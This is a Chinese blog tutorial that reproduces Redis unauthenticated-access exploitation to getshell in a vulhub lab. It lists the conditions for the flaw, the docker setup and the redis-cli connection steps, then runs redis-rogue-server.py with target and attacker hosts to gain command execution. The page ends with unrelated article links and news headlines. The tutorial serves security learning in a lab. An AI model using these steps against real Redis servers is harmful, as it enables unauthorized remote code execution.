当前位置: 首页 > news >正文

Redis未授权访问漏洞导致getshell

一、漏洞信息

redis默认情况下会绑定在本地6379端口,如果没有进行采用相关的策略,就会将redis服务暴露到公网上,如果再没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问到目标服务器的情况下未授权访问redis以及读取redis的数据。

二、漏洞利用条件

1.redis绑定在6379端口且没有添加防火墙规则避免其他非信任ip访问等安全策略
2.没有设置密码认证,可以免密码远程登陆redis服务

三、环境搭建

这里使用vulhub里面的redis/4-unacc靶场

cd /vulhub/redis/4-unacc        #进入靶场所在目录
docker-compose up -d        #一键启动容器环境
docker ps        #查看是否开启容器

四、漏洞复现

1.在kali上安装redis程序进行服务的链接

apt-get install redis        #安装redis服务
redis常用命令:
1.查看信息:info
2.删除所有数据库内容:flushall
3.刷新数据库:flushdb
4.保存:save
5.设置路径等配置:config set dir dirpath
如果提示无法安装,可能需要更新以下kali源,使用以下命令:
apt-get update

2.使用kali对redis服务进行远程链接

redis-cli -h ip -p 6379        #通过远程链接至redis服务

如果可以直接执行命令且不需要认证说明存在未授权访问漏洞

3.使用脚本工具获取目标的命令执行环境

python3 redis-rogue-server.py --rhost ip --lhost ip

成功获取到目标主机的命令执行环境

相关文章:

  • 解锁机器学习核心算法 | 决策树:机器学习中高效分类的利器
  • 八、SPI读写XT25数据
  • 【Java进阶篇】——第9篇:Lambda表达式与Stream API
  • 【深度学习】计算机视觉(CV)-目标检测-Faster R-CNN —— 高精度目标检测算法
  • SpringBoot速成(12)文章分类P15-P20
  • QT 读写锁
  • linux常用命令大全(包括抓包、网络检测、路由等,做项目一点点总结而来!)
  • 请解释设备像素、CSS 像素、设备独立像素、DPR、PPI 之间的区别?
  • 【Agent的革命之路——LangGraph】工作流中的 map-reduce 模式
  • 【力扣】98.验证搜索二叉树
  • 线性表之顺序表
  • 《LeetCode 763. 划分字母区间 | 高效分割字符串》
  • linux-5.10.110内核源码分析 - bcm2711 pcie BAR地址分配
  • 牛客寒假训练营3
  • 芯片引脚描述或电路原理图中的Ipd、Ipu是什么意思?
  • fps武器系统6:随机弹道
  • vLLM专题(四)-故障排除
  • vue中如何动态的增减组件的类名(class)
  • OpenPose
  • 计算机世界的寻宝游戏:用C语言解密五大查找算法
  • 香港暂停进口美国北达科他州一地区禽肉及禽类产品
  • 媒体谈法院就“行人相撞案”道歉:执法公正,普法莫拉开“距离”
  • 中国工程院院士、国医大师石学敏逝世
  • 巴称巴控克什米尔地区11人在印方夜间炮击中身亡
  • 中铁房地产24.7亿元竞得上海松江新城宅地,溢价率20.42%
  • 新修订的《婚姻登记条例》明起施行,领证不用户口本了